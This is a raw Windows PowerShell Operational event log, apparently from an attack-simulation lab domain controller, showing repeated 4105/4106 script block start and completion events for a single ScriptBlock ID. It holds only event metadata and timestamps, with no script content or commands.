Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468140
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468139
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468138
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468137
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468136
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468135
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468134
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468133
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468132
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468131
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468130
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468129
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468128
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468127
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468126
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468125
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468124
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468123
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468122
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468121
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468120
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468119
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468118
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468117
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468116
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468115
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468114
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468113
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468112
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468111
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468110
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468109
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468108
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468107
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468106
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468105
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468104
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468103
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468102
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468101
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468100
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468099
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468370
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468369
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468368
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468367
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468366
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468365
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468364
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468363
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468362
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468361
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468360
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468359
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468358
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
